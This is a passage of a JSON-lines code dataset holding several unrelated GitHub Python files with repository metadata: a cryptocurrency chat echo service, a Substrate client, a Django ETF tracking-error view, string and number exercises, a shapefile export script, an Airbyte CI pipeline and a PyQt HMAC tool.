stop(self):\r\n\r\n\t\tself.buffer_timer.cancel()\r\n\r\n\t############################################################################\r\n\r\n\tdef usageByTag(self, tag):\r\n\r\n\t\ttagHash = hashlib.sha256(tag.encode()).hexdigest()\r\n\r\n\t\tif tagHash not in self.tagHashes:\r\n\r\n\t\t\tself.tagHashes.append(tagHash)\r\n\r\n\t\t\tself.changed = True\r\n\r\n\t############################################################################\r\n\r\n\tdef count(self):\r\n\r\n\t\treturn len(self.tagHashes)\r\n\r\n\t############################################################################\r\n\r\n\tdef saveIfNecessary(self):\r\n\r\n\t\tif self.changed:\r\n\r\n\t\t\tself.saveListFile(self.tagHashes, self.filePath)\r\n\r\n\t\t\tself.changed = False\r\n\r\n\t############################################################################\r\n\r\n\tdef loadListFile(self, filePath = ''):\r\n\r\n\t\tnullList = []\r\n\r\n\t\tif not pathlib.Path(filePath).is_file():\r\n\r\n\t\t\twith open(filePath, 'wb') as f:\r\n\r\n\t\t\t\tpickle.dump(nullList, f)\r\n\r\n\t\t\t\tf.close()\r\n\r\n\t\t\t\treturn nullList\r\n\r\n\t\telse:\r\n\r\n\t\t\twith open(filePath, 'rb') as f:\r\n\r\n\t\t\t\treturn pickle.load(f)\r\n\r\n\t############################################################################\r\n\r\n\tdef saveListFile(self, list = [], filePath = ''):\r\n\r\n\t\twith open(filePath, 'wb') as f:\r\n\r\n\t\t\tpickle.dump(list, f)\r\n\r\n\t\t\tf.close()\r\n\r\n################################################################################\r\n## EchoApp class ###############################################################\r\n################################################################################\r\n\r\nclass EchoApp:\r\n\r\n\tdef __init__(self, protocol, name, prefix, debug=False):\r\n\r\n\t\tself.name\t\t\t= name\r\n\t\tself.prefix\t\t\t= prefix\r\n\t\tself.debug\t\t\t= debug\r\n\t\tself.subscribers\t= []\r\n\t\tself.coins\t\t\t= []\r\n\t\tself.running\t\t= True\r\n\t\tself.buffer_timer = 0\r\n\t\tself.chatname_timer = 0\r\n\r\n\t\tself.usageTrack\t\t= UsageTrack()\r\n\r\n\t############################################################################\r\n\r\n\tdef send_ecchat_packet(self, dest, meth, data):\r\n\r\n\t\tecc_packet = eccPacket(eccPacket._protocol_id_ecchat, 0, dest, self.coins[0].routingTag, meth, data)\r\n\r\n\t\tif self.debug:\r\n\r\n\t\t\tlogging.info('TX({}): {}'.format(eccPacket._protocol_id_ecchat, ecc_packet.to_json()))\r\n\r\n\t\tecc_packet.send(self.coins[0])\r\n\r\n\t############################################################################\r\n\r\n\tdef send_ecresolve_packet(self, meth, data):\r\n\r\n\t\tfor tag in self.coins[0].ecresolve_tags:\r\n\r\n\t\t\tecc_packet = eccPacket(eccPacket._protocol_id_ecresolve, 0, tag, self.coins[0].routingTag, meth, data)\r\n\r\n\t\t\tif self.debug:\r\n\r\n\t\t\t\tlogging.info('TX({}): {}'.format(eccPacket._protocol_id_ecresolve, ecc_packet.to_json()))\r\n\r\n\t\t\tecc_packet.send(self.coins[0])\r\n\r\n\t############################################################################\r\n\r\n\tdef advertise_chat_name(self, loop = None, data = None):\r\n\r\n\t\tuuid = str(uuid4())\r\n\r\n\t\tdata = {'uuid' : str(uuid4()),\r\n\t\t\t\t'name' : self.name,\r\n\t\t\t\t'type' : 'chatname'}\r\n\r\n\t\tself.send_ecresolve_packet(eccPacket.METH_nameAdv, data)\r\n\r\n\t############################################################################\r\n\r\n\tdef process_ecc_packet(self, ecc_packet):\r\n\r\n\t\t# Ensure we have a route back to whoever is sending an ecchat message\r\n\r\n\t\ttry:\r\n\r\n\t\t\tself.coins[0].setup_route(ecc_packet.get_from())\r\n\r\n\t\texcept cryptoNodeException as error:\r\n\r\n\t\t\tlogging.info(str(error))\r\n\r\n\t\t\treturn\r\n\r\n\t\tif ecc_packet.get_meth() == eccPacket.METH_chatMsg:\r\n\r\n\t\t\tdata = ecc_packet.get_data()\r\n\r\n\t\t\t# send the chatAck message\r\n\r\n\t\t\tackData = {'uuid' : data['uuid'],\r\n\t\t\t\t\t 'cmmd' : data['cmmd'],\r\n\t\t\t\t\t 'able' : True}\r\n\r\n\t\t\tself.send_ecchat_packet(ecc_packet.get_from(), eccPacket.METH_chatAck, ackData)\r\n\r\n\t\t\treply = []\r\n\r\n\t\t\tif data['text'].startswith('#BALANCE'):\r\n\r\n\t\t\t\treply.append(\"Balance = {:f}\".format(self.coins[0].get_balance()))\r\n\r\n\t\t\telif data['text'].startswith('#USAGE'):\r\n\r\n\t\t\t\treply.append(\"Unique users (identified by ECC routing tag) = {:d}\".format(self.usageTrack.count()))\r\n\r\n\t\t\telse:\r\n\r\n\t\t\t\treply.append(self.prefix + data['text'])\r\n\r\n\t\t\t# echo back the reply text as a new chatMsg\r\n\r\n\t\t\tfor line in reply:\r\n\r\n\t\t\t\techData = {'uuid' : str(uuid4()),\r\n\t\t\t\t\t\t 'cmmd' : 'add',\r\n\t\t\t\t\t\t 'text' : line}\r\n\r\n\t\t\t\tself.send_ecchat_packet(ecc_packet.get_from(), eccPacket.METH_chatMsg, echData)\r\n\r\n\t\t\tself.usageTrack.usageByTag(ecc_packet.get_from())\r\n\r\n\t\telif ecc_packet.get_meth() == eccPacket.METH_addrReq:\r\n\r\n\t\t\tdata = ecc_packet.get_data()\r\n\r\n\t\t\tif data['coin'] == self.coins[0].symbol:\r\n\r\n\t\t\t\taddress = self.coins[0].get_new_address()\r\n\r\n\t\t\t\trData = {'uuid' : data['uuid'],\r\n\t\t\t\t\t\t 'coin' : data['coin'],\r\n\t\t\t\t\t\t 'addr' : address}\r\n\r\n\t\t\t\tself.send_ecchat_packet(ecc_packet.get_from(), eccPacket.METH_addrRes, rData)\r\n\r\n\t\t\telse:\r\n\r\n\t\t\t\trData = {'uuid' : data['uuid'],\r\n\t\t\t\t\t\t 'coin' : data['coin'],\r\n\t\t\t\t\t\t 'addr' : '0'}\r\n\r\n\t\t\t\tself.send_ecchat_packet(ecc_packet.get_from(), eccPacket.METH_addrRes, rData)\r\n\r\n\t\telif ecc_packet.get_meth() == eccPacket.METH_chatReq:\r\n\r\n\t\t\tdata = ecc_packet.get_data()\r\n\r\n\t\t\trData = {'uuid' : data['uuid'],\r\n\t\t\t\t\t 'cmmd' : 'accept',\r\n\t\t\t\t\t 'name' : self.name}\r\n\r\n\t\t\tself.send_ecchat_packet(ecc_packet.get_from(), eccPacket.METH_chatRes, rData)\r\n\r\n\t\telse:\r\n\r\n\t\t\tpass\r\n\r\n\t############################################################################\r\n\r\n\tdef zmqInitialise(self):\r\n\r\n\t\tself.context = zmq.Context()\r\n\r\n\t\tfor index, coin in enumerate(self.coins):\r\n\r\n\t\t\tself.subscribers.append(self.context.socket(zmq.SUB))\r\n\r\n\t\t\tif coin.zmqAddress:\r\n\r\n\t\t\t\tself.subscribers[index].connect(coin.zmqAddress)\r\n\t\t\t\tself.subscribers[index].setsockopt(zmq.SUBSCRIBE, b'')\r\n\r\n\t############################################################################\r\n\r\n\tdef zmqHandler(self, index):\r\n\r\n\t\t[address, contents] = self.subscribers[index].recv_multipart()\r\n\t\t\r\n\t\tif address.decode() == 'packet':\r\n\r\n\t\t\tprotocolID = contents.decode()[1:]\r\n\r\n\t\t\teccbuffer = self.coins[0].get_buffer(int(protocolID))\r\n\r\n\t\t\tif eccbuffer:\r\n\r\n\t\t\t\tfor packet in eccbuffer.values():\r\n\r\n\t\t\t\t\tmessage = codecs.decode(packet, 'hex').decode()\r\n\r\n\t\t\t\t\tif self.debug:\r\n\r\n\t\t\t\t\t\tlogging.info('RX({}): {}'.format(protocolID, message))\r\n\r\n\t\t\t\t\tecc_packet = eccPacket.from_json(message)\r\n\r\n\t\t\t\t\tself.process_ecc_packet(ecc_packet)\r\n\r\n\t############################################################################\r\n\r\n\tdef zmqShutdown(self):\r\n\r\n\t\tfor subscriber in self.subscribers:\r\n\r\n\t\t\tsubscriber.close()\r\n\r\n\t\tself.context.term()\r\n\r\n\t############################################################################\r\n\r\n\tdef reset_buffer_timeouts(self):\r\n\r\n\t\tself.coins[0].reset_buffer_timeouts()\r\n\r\n\t############################################################################\r\n\r\n\tdef logRoutingTags(self):\r\n\r\n\t\tlogging.info('Resolved local routing tag : {}'.format(self.coins[0].routingTag))\r\n\r\n\t\tfor index, tag in enumerate(self.coins[0].ecresolve_tags):\r\n\r\n\t\t\tif tag == self.coins[0].routingTag:\r\n\r\n\t\t\t\tlogging.info('Resolved ecresolve tag #{} * {}'.format(index, tag))\r\n\r\n\t\t\telse:\r\n\r\n\t\t\t\tlogging.info('Resolved ecresolve tag #{} : {}'.format(index, tag))\r\n\r\n\t############################################################################\r\n\r\n\tdef cryptoInitialise(self):\r\n\r\n\t\tif loadConfigurationECC(self.coins, eccPacket._protocol_id_ecchat):\r\n\r\n\t\t\tfor coin in self.coins:\r\n\r\n\t\t\t\ttry:\r\n\r\n\t\t\t\t\tcoin.initialise()\r\n\r\n\t\t\t\t\tself.logRoutingTags()\r\n\r\n\t\t\t\texcept cryptoNodeException as error:\r\n\r\n\t\t\t\t\tprint(str(error))\r\n\r\n\t\t\t\t\treturn False\r\n\r\n\t\t\t\tself.buffer_timer = RepeatTimer(10, self.reset_buffer_timeouts)\r\n\r\n\t\t\t\tself.buffer_timer.start()\r\n\r\n\t\t\t\tself.chatname_timer = RepeatTimer(60, self.advertise_chat_name)\r\n\r\n\t\t\t\tself.chatname_timer.start()\r\n\r\n\t\t\treturn True\r\n\r\n\t\treturn False\r\n\r\n\t############################################################################\r\n\r\n\tdef cryptoShutdown(self):\r\n\r\n\t\tif self.buffer_timer:\r\n\r\n\t\t\tself.buffer_timer.cancel()\r\n\r\n\t\tif self.chatname_timer:\r\n\r\n\t\t\tself.chatname_timer.cancel()\r\n\r\n\t\tfor coin in self.coins:\r\n\r\n\t\t\tcoin.shutdown()\r\n\r\n\t############################################################################\r\n\r\n\tdef run(self):\r\n\r\n\t\tself.usageTrack.start()\r\n\r\n\t\tif self.cryptoInitialise():\r\n\r\n\t\t\tself.zmqInitialise()\r\n\r\n\t\t\twhile self.running:\r\n\r\n\t\t\t\ttry:\r\n\r\n\t\t\t\t\tself.zmqHandler(0)\r\n\r\n\t\t\t\texcept ServiceExit:\r\n\r\n\t\t\t\t\tself.running = False\r\n\r\n\t\t\tself.zmqShutdown()\r\n\r\n\t\tself.cryptoShutdown()\r\n\r\n\t\tself.usageTrack.stop()\r\n\r\n################################################################################\r\n\r\nclass ServiceExit(Exception):\r\n\r\n\tpass\r\n\r\n################################################################################\r\n\r\ndef terminate(signalNumber, frame):\r\n\r\n\tlogging.info('%s received - terminating' % signal.Signals(signalNumber).name)\r\n\r\n\traise ServiceExit\r\n\r\n################################################################################\r\n### Main program ###############################################################\r\n################################################################################\r\n\r\ndef main():\r\n\r\n\tif sys.version_info[0] < 3:\r\n\r\n\t\traise 'Use Python 3'\r\n\r\n\tpathlib.Path('log').mkdir(parents=True, exist_ok=True)\r\n\r\n\tlogging.basicConfig(filename = 'log/ececho-{:%Y-%m-%d}.log'.format(datetime.datetime.now()),\r\n\t\t\t\t\t\tfilemode = 'a',\r\n\t\t\t\t\t\tlevel = logging.INFO,\r\n\t\t\t\t\t\tformat = '%(asctime)s - %(levelname)s : %(message)s',\r\n\t\t\t\t\t\tdatefmt = '%d/%m/%Y %H:%M:%S')\r\n\r\n\tlogging.info('STARTUP')\r\n\r\n\tsignal.signal(signal.SIGINT, terminate) # keyboard interrupt ^C\r\n\tsignal.signal(signal.SIGTERM, terminate) # kill [default -15]\r\n\r\n\targparser = argparse.ArgumentParser(description='Echo service for ecchat')\r\n\r\n\targparser.add_argument('-p', '--protocol', action='store' , help='Protocol ID' , type=int, default=1 , required=False)\r\n\targparser.add_argument('-n', '--name' , action='store' , help='nickname' , type=str, default='ececho', required=False)\r\n\targparser.add_argument('-x', '--prefix' , action='store' , help='reply prefix' , type=str, default='> ' , required=False)\r\n\targparser.add_argument('-d', '--debug' , action='store_true', help='debug message log', required=False)\r\n\r\n\tcommand_line_args = argparser.parse_args()\r\n\r\n\tlogging.info('Arguments %s', vars(command_line_args))\r\n\r\n\tapp = EchoApp(command_line_args.protocol,\r\n\t command_line_args.name,\r\n\t command_line_args.prefix,\r\n\t command_line_args.debug)\r\n\r\n\tapp.run()\r\n\r\n\tlogging.info('SHUTDOWN')\r\n\r\n################################################################################\r\n\r\nif __name__ == '__main__':\r\n\r\n\tmain()\r\n\r\n################################################################################\r\n","repo_name":"project-ecc/ecchat","sub_path":"ececho.py","file_name":"ececho.py","file_ext":"py","file_size_in_byte":12422,"program_lang":"python","lang":"de","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"} +{"seq_id":"17955834187","text":"from substrateinterface import SubstrateInterface\nfrom substrateinterface.exceptions import SubstrateRequestException\n\n\nclass Client:\n def __init__(self, url):\n self._url = url\n\n def connect(self):\n try:\n api = SubstrateInterface(\n url=self._url, type_registry_preset=\"polkadot\", auto_reconnect=True\n )\n hash = api.get_chain_head()\n api.init_runtime(hash)\n except ConnectionRefusedError as e:\n raise SubstrateRequestException(\n f\"⚠️ Failed to connect to {self._url}\"\n ) from e\n except Exception as e:\n raise RuntimeError(str(e)) from e\n self.api = api\n\n def close(self):\n self.api.close()\n","repo_name":"enthusiastmartin/hydradx-api","sub_path":"hydradxapi/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"18714831023","text":"from django.http.response import HttpResponse\nfrom django.shortcuts import render\nimport requests\nfrom decouple import config\n\ndef sample(request):\n #API access key\n key =config('secret_key')\n params = {\n 'access_key': key\n }\n\n \n #collect sbi etf values\n present_etf = requests.get('https://api.marketstack.com/v1/tickers/SETFNN50.XNSE/eod/latest',params)\n sbi_present_etf=present_etf.json()['close']\n \n previous_etf = requests.get('http://api.marketstack.com/v1/tickers/SETFNN50.XNSE/eod/2021-03-09',params)\n sbi_previous_etf=previous_etf.json()['close']\n \n #collect sbi nifty values\n present_nifty = requests.get('https://api.marketstack.com/v1/tickers/NN50.INDX/eod/latest',params)\n sbi_present_nifty = present_nifty.json()['close']\n \n previous_nifty = requests.get('http://api.marketstack.com/v1/tickers/NN50.INDX/eod/2021-03-09', params)\n sbi_previous_nifty = previous_nifty.json()['close']\n \n\n #tracking error calculation\n sbi_diff = sbi_present_etf/sbi_previous_etf-1\n nifty_diff = sbi_present_nifty/sbi_previous_nifty-1\n\n tracking_error = abs((sbi_diff-nifty_diff)*100)\n \n context = {\n 'tracking_error':tracking_error\n }\n return render(request,\"tracking.html\",context)\n\n\n","repo_name":"abhijithmadu/Stock-Tracking-Error","sub_path":"trackingapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"2338221312","text":"def is_permutation(s, t):\n \"\"\"\n Returns True iff s is a permutation of t.\n\n Clarifications to ask the interviewer:\n - How are the strings encoded? ASCII? Unicode?\n - What kinds of characters are used? Alphanumeric? Punctuation?\n\n Here, we assume that all strings are encoded with ASCII (256 chars). Recall\n that the ord() function takes as input an 8-bit ASCII string of length one\n and returns the integer value of the byte in [0, 255]. Otherwise, if the\n string is encoded with Unicode (2^16 = 65536 chars), then the ord() function\n will return the integer representing the Unicode code point of the character\n in [0, 65535].\n \"\"\"\n #---------------------------------------------------------------------------\n # Algorithm 1: Cross off matching characters from strings.\n # O(n^2) time, O(n) space.\n #---------------------------------------------------------------------------\n # Algorithm 2: Sort both strings and compare one-by-one.\n # O(n log n) time, O(n) space.\n #---------------------------------------------------------------------------\n # Algorithm 3: Compare character counts (implemented below).\n # O(n) time, O(n) space.\n #---------------------------------------------------------------------------\n\n MAX_CHARS = 256\n char_counts = [0] * MAX_CHARS\n for c in s:\n char_counts[ord(c)] += 1\n for c in t:\n char_counts[ord(c)] -= 1\n return not any(char_counts) # True iff all zeroes.\n\nif __name__ == \"__main__\":\n testStringPairs = [\n (\"\", \"\"),\n (\"stackoverflow\", \"flowstackover\"),\n (\"12345\", \"5xy1234\"),\n (\"abc123^&*\", \"a1^cb2&*3\"),\n (\"stackoverflaw\", \"overflowstack\"),\n (\"!!?!\", \"!?!\")\n ]\n for (index, pair) in enumerate(testStringPairs):\n s, t = pair\n print(\"Test String #{}:\".format(index + 1))\n print(\"{} {} a permutation of {}.\".format(\n repr(s), \"is\" if is_permutation(s, t) else \"is not\", repr(t)\n ))","repo_name":"adriano-arce/Interview-Problems","sub_path":"String-Problems/Is-Permutation/Is-Permutation.py","file_name":"Is-Permutation.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"18097898354","text":"import sys\nimport os\nfrom subprocess import call\nimport logging\nimport time\n\nimport gdb\nimport fc\nimport cx_sde\n\ndef shp2json(fcdir\n ,fcname\n ,precision=6):\n\n # 6 digits = approximately 1/10 meter\n \n # reminder\n # ogr2ogr \n # -dialect SQLite \n # -sql \"SELECT doitt_id AS doitt_id, geometry AS geometry from buildingsi\" \n # -t_srs EPSG:4326 \n # -f GeoJSON \n # -lco COORDINATE_PRECISION=6 \n # buildingsi.geojson \n # buildingsi.shp\n\n # todo: replace feature_codes with text?\n # do something better with last edited dates \"2017\\/08\\/22\"\n # fix shapefile messes like 0s and spaces\n\n sql = \"\"\" \"SELECT doitt_id AS doitt_id \"\"\" \\\n \"\"\" ,bin AS bin \"\"\" \\\n \"\"\" ,base_bbl AS base_bbl \"\"\" \\\n \"\"\" ,name AS name \"\"\" \\\n \"\"\" ,constructi AS construction_year \"\"\" \\\n \"\"\" ,geom_sourc AS geom_source \"\"\" \\\n \"\"\" ,last_statu as last_status \"\"\" \\\n \"\"\" ,height_roo as height_roof \"\"\" \\\n \"\"\" ,feature_co as feature_code \"\"\" \\\n \"\"\" ,status as status \"\"\" \\\n \"\"\" ,ground_ele as ground_elevation \"\"\" \\\n \"\"\" ,last_edi_1 as last_edited_date \"\"\" \\\n \"\"\" ,addressabl as addressable \"\"\" \\\n \"\"\" ,mappluto_b as mappluto_bbl \"\"\" \\\n \"\"\" ,condo_flag as condo_flag \"\"\" \\\n \"\"\" ,alteration as alteration_year \"\"\" \\\n \"\"\" ,geometry AS geometry \"\"\" \\\n \"\"\" from {0} ORDER BY bin \" \"\"\".format(fcname)\n \n inshp = os.path.join(fcdir\n ,'{0}.{1}'.format(fcname,'shp'))\n\n outjson = os.path.join(fcdir\n ,'{0}.{1}'.format(fcname,'geojson'))\n\n callcmd = f\"ogr2ogr -dialect SQLite -sql {sql} -t_srs EPSG:4326 -f GeoJSON -lco COORDINATE_PRECISION={precision} {outjson} {inshp} \"\n\n #print(callcmd)\n \n exit_code = call(callcmd)\n\n if exit_code == 0:\n return str(exit_code)\n else:\n return 'export failed with {0} using {1}'.format(str(exit_code)\n ,callcmd)\n\n\ndef deletefiles(filedir\n ,filename\n ,fileexts):\n\n for fileext in fileexts:\n\n if os.path.exists(os.path.join(filedir\n ,'{0}.{1}'.format(filename,fileext))):\n\n os.remove(os.path.join(filedir\n ,'{0}.{1}'.format(filename,fileext)))\n\ndef deleteshp(shpdir\n ,shpname):\n\n shpexts = ['shp'\n ,'dbf'\n ,'shx'\n ,'cpg'\n ,'sbn'\n ,'sbx'\n ,'shp.xml'\n ,'prj']\n\n deletefiles(shpdir\n ,shpname\n ,shpexts)\n\ndef deletejson(jsondir\n ,jsonname):\n\n jsonexts = ['geojson']\n\n deletefiles(jsondir\n ,jsonname\n ,jsonexts)\n \n\ndef main(sourcesdeconn\n ,sourcefcname\n ,targetdir):\n\n sourcegdb = gdb.Gdb()\n\n sourcefc = fc.Fc(sourcegdb\n ,sourcefcname)\n\n deleteshp(targetdir\n ,sourcefcname) \n\n sourcefc.exporttoshp(targetdir\n ,'{0}.{1}'.format(sourcefcname.lower()\n ,'shp'))\n\n deletejson(targetdir\n ,sourcefcname)\n \n main_exit_code = shp2json(targetdir\n ,'{0}'.format(sourcefcname.lower()))\n\n if main_exit_code == '0':\n\n deleteshp(targetdir\n ,sourcefcname) \n\n return main_exit_code\n\nif __name__ == '__main__':\n\n psourcesdeconn = os.environ['SDEFILE']\n psourcefcname = sys.argv[1]\n\n timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n targetlog = os.path.join(os.environ['TARGETLOGDIR'] \n ,'export-{0}.log'.format(timestr))\n\n logging.basicConfig(filename=targetlog)\n\n exit_code = main(psourcesdeconn\n ,psourcefcname\n ,os.path.dirname(os.path.realpath(__file__)))\n\n if exit_code == '0':\n logging.info('Successfully exported {0}'.format(psourcefcname))\n else:\n logging.error('Failed to export: {0}'.format(exit_code))\n\n \n\n\n","repo_name":"mattyschell/geodatabase-buildings","sub_path":"export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"20188001451","text":"import uuid\nfrom typing import Optional\n\nimport dagger\nfrom pipelines.airbyte_ci.connectors.context import ConnectorContext, PipelineContext\nfrom pipelines.airbyte_ci.steps.docker import SimpleDockerStep\nfrom pipelines.airbyte_ci.steps.poetry import PoetryRunStep\nfrom pipelines.consts import DOCS_DIRECTORY_ROOT_PATH, INTERNAL_TOOL_PATHS\nfrom pipelines.dagger.actions.python.common import with_pip_packages\nfrom pipelines.dagger.containers.python import with_python_base\nfrom pipelines.helpers.steps import run_steps\nfrom pipelines.helpers.utils import DAGGER_CONFIG, get_secret_host_variable\nfrom pipelines.models.reports import Report\nfrom pipelines.models.steps import MountPath, Step, StepResult\n\n# STEPS\n\n\nclass MetadataValidation(SimpleDockerStep):\n def __init__(self, context: ConnectorContext):\n super().__init__(\n title=f\"Validate metadata for {context.connector.technical_name}\",\n context=context,\n paths_to_mount=[\n MountPath(context.connector.metadata_file_path),\n MountPath(DOCS_DIRECTORY_ROOT_PATH),\n MountPath(context.connector.icon_path, optional=True),\n ],\n internal_tools=[\n MountPath(INTERNAL_TOOL_PATHS.METADATA_SERVICE.value),\n ],\n command=[\n \"metadata_service\",\n \"validate\",\n str(context.connector.metadata_file_path),\n DOCS_DIRECTORY_ROOT_PATH,\n ],\n )\n\n\nclass MetadataUpload(SimpleDockerStep):\n # When the metadata service exits with this code, it means the metadata is valid but the upload was skipped because the metadata is already uploaded\n skipped_exit_code = 5\n\n def __init__(\n self,\n context: ConnectorContext,\n metadata_bucket_name: str,\n metadata_service_gcs_credentials_secret: dagger.Secret,\n docker_hub_username_secret: dagger.Secret,\n docker_hub_password_secret: dagger.Secret,\n pre_release: bool = False,\n pre_release_tag: Optional[str] = None,\n ):\n title = f\"Upload metadata for {context.connector.technical_name} v{context.connector.version}\"\n command_to_run = [\n \"metadata_service\",\n \"upload\",\n str(context.connector.metadata_file_path),\n DOCS_DIRECTORY_ROOT_PATH,\n metadata_bucket_name,\n ]\n\n if pre_release:\n command_to_run += [\"--prerelease\", pre_release_tag]\n\n super().__init__(\n title=title,\n context=context,\n paths_to_mount=[\n MountPath(context.connector.metadata_file_path),\n MountPath(DOCS_DIRECTORY_ROOT_PATH),\n MountPath(context.connector.icon_path, optional=True),\n ],\n internal_tools=[\n MountPath(INTERNAL_TOOL_PATHS.METADATA_SERVICE.value),\n ],\n secrets={\n \"DOCKER_HUB_USERNAME\": docker_hub_username_secret,\n \"DOCKER_HUB_PASSWORD\": docker_hub_password_secret,\n \"GCS_CREDENTIALS\": metadata_service_gcs_credentials_secret,\n },\n env_variables={\n # The cache buster ensures we always run the upload command (in case of remote bucket change)\n \"CACHEBUSTER\": str(uuid.uuid4()),\n },\n command=command_to_run,\n )\n\n\nclass DeployOrchestrator(Step):\n title = \"Deploy Metadata Orchestrator to Dagster Cloud\"\n deploy_dagster_command = [\n \"dagster-cloud\",\n \"serverless\",\n \"deploy-python-executable\",\n \"--location-name\",\n \"metadata_service_orchestrator\",\n \"--location-file\",\n \"dagster_cloud.yaml\",\n \"--organization\",\n \"airbyte-connectors\",\n \"--deployment\",\n \"prod\",\n \"--python-version\",\n \"3.9\",\n ]\n\n async def _run(self) -> StepResult:\n # mount metadata_service/lib and metadata_service/orchestrator\n parent_dir = self.context.get_repo_dir(\"airbyte-ci/connectors/metadata_service\")\n python_base = with_python_base(self.context, \"3.9\")\n python_with_dependencies = with_pip_packages(python_base, [\"dagster-cloud==1.2.6\", \"pydantic==1.10.6\", \"poetry2setup==1.1.0\"])\n dagster_cloud_api_token_secret: dagger.Secret = get_secret_host_variable(\n self.context.dagger_client, \"DAGSTER_CLOUD_METADATA_API_TOKEN\"\n )\n\n container_to_run = (\n python_with_dependencies.with_mounted_directory(\"/src\", parent_dir)\n .with_secret_variable(\"DAGSTER_CLOUD_API_TOKEN\", dagster_cloud_api_token_secret)\n .with_workdir(f\"/src/orchestrator\")\n .with_exec([\"/bin/sh\", \"-c\", \"poetry2setup >> setup.py\"])\n .with_exec(self.deploy_dagster_command)\n )\n return await self.get_step_result(container_to_run)\n\n\nclass TestOrchestrator(PoetryRunStep):\n def __init__(self, context: PipelineContext):\n super().__init__(\n context=context,\n title=\"Test Metadata Orchestrator\",\n parent_dir_path=\"airbyte-ci/connectors/metadata_service\",\n module_path=\"orchestrator\",\n )\n\n async def _run(self) -> StepResult:\n return await super()._run([\"pytest\"])\n\n\n# PIPELINES\n\n\nasync def run_metadata_orchestrator_deploy_pipeline(\n is_local: bool,\n git_branch: str,\n git_revision: str,\n gha_workflow_run_url: Optional[str],\n dagger_logs_url: Optional[str],\n pipeline_start_timestamp: Optional[int],\n ci_context: Optional[str],\n) -> bool:\n metadata_pipeline_context = PipelineContext(\n pipeline_name=\"Metadata Service Orchestrator Unit Test Pipeline\",\n is_local=is_local,\n git_branch=git_branch,\n git_revision=git_revision,\n gha_workflow_run_url=gha_workflow_run_url,\n dagger_logs_url=dagger_logs_url,\n pipeline_start_timestamp=pipeline_start_timestamp,\n ci_context=ci_context,\n )\n\n async with dagger.Connection(DAGGER_CONFIG) as dagger_client:\n metadata_pipeline_context.dagger_client = dagger_client.pipeline(metadata_pipeline_context.pipeline_name)\n\n async with metadata_pipeline_context:\n steps = [TestOrchestrator(context=metadata_pipeline_context), DeployOrchestrator(context=metadata_pipeline_context)]\n steps_results = await run_steps(steps)\n metadata_pipeline_context.report = Report(\n pipeline_context=metadata_pipeline_context, steps_results=steps_results, name=\"METADATA ORCHESTRATOR DEPLOY RESULTS\"\n )\n return metadata_pipeline_context.report.success\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-ci/connectors/pipelines/pipelines/airbyte_ci/metadata/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"29581328236","text":"\"\"\"HAPPY\"\"\"\n\ndef happy_number(number: int) -> bool:\n \"\"\"\n This function evaluetes happy number\n >>> happy_number(123)\n False\n \"\"\"\n number = str(number).zfill(8)\n sum1 = []\n sum2 = []\n for i in range(4):\n sum1.append(int(number[i]))\n sum2.append(int(number[i+4]))\n \n sum1 = sum(sum1)\n sum2 = sum(sum2)\n\n if sum1 == sum2:\n boolean = True\n else:\n boolean = False\n \n return boolean\n\ndef count_happy_numbers(numeral: int) -> bool:\n \"\"\"\n This function returns the amount of happy numbers\n >>> count_happy_numbers(22000)\n 14\n \"\"\"\n return len(happy_numbers(0, numeral))\n\ndef happy_numbers(first_ticket: int, last_ticket: int) -> list:\n \"\"\"\n This function returns the list with happy numbers\n >>> happy_numbers(11000, 11000)\n []\n \"\"\"\n happy_numbers_lst = []\n value = 0\n for i in range(first_ticket, last_ticket):\n value = happy_number(first_ticket)\n if value:\n happy_numbers_lst.append(first_ticket)\n first_ticket += 1\n return happy_numbers_lst\n","repo_name":"RodoDenDr0n/UCU_labs","sub_path":"Lab 6/happy.py","file_name":"happy.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74275401061","text":"# -*- coding: utf-8 -*-\nfrom PyQt5.QtWidgets import QPushButton,QTextEdit,QApplication,QWidget,QLabel\n# from PyQt5.QtCore import QUrl\n# from PyQt5.QtWebEngineWidgets import QWebEngineView\nimport sys\n# import difflib\nimport os\nimport hashlib\nimport hmac\n# key='00000000000000000000000000000000'\n# d = difflib.HtmlDiff()\napp = QApplication(sys.argv)\nmywindows=QWidget()\nbutton=QPushButton(mywindows)\ntext1=QTextEdit(mywindows)\ntext2=QTextEdit(mywindows)\ntestResult=QTextEdit(mywindows)\nlabelKey=QLabel(mywindows)\nlabelResult=QLabel(mywindows)\nlabelData=QLabel(mywindows)\ndef p():\n# print(text1.toPlainText())\n \n s1=text1.toPlainText() \n s2=text2.toPlainText() \n print(type(s2))\n print(\"Data:\"+s1)\n print(\"Key:\"+s2)\n msg=bytes.fromhex(s1.replace(\" \",\"\"))\n key=bytes.fromhex(s2.replace(\" \",\"\")[0:32])\n text2.setText(s2.replace(\" \",\"\")[0:32])\n print(type(key))\n print(key)\n m = hmac.new(key,msg, hashlib.sha256)\n result=m.hexdigest()[0:32]\n str=\"\"\n for i in range(0,32):\n str=str+result[i]\n if(i%2):\n str=str+\" \"\n print(str)\n testResult.setText(str.upper())\n# html=d.make_file(s1,s2)\n# web.setHtml(\"\\'\\'\\'\"+html+\"\\'\\'\\'\")\nif __name__==\"__main__\":\n# mywindows.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint)\n mywindows.setWindowTitle(\"HmacSHA256\")\n mywindows.setFixedSize(1050,250)\n mywindows.showMaximized()\n button.setGeometry(950,50,50,30)\n button.setText(\"生成\")\n text2.setText(\"00000000000000000000000000000000\")\n text1.setText(\"22 F1 98 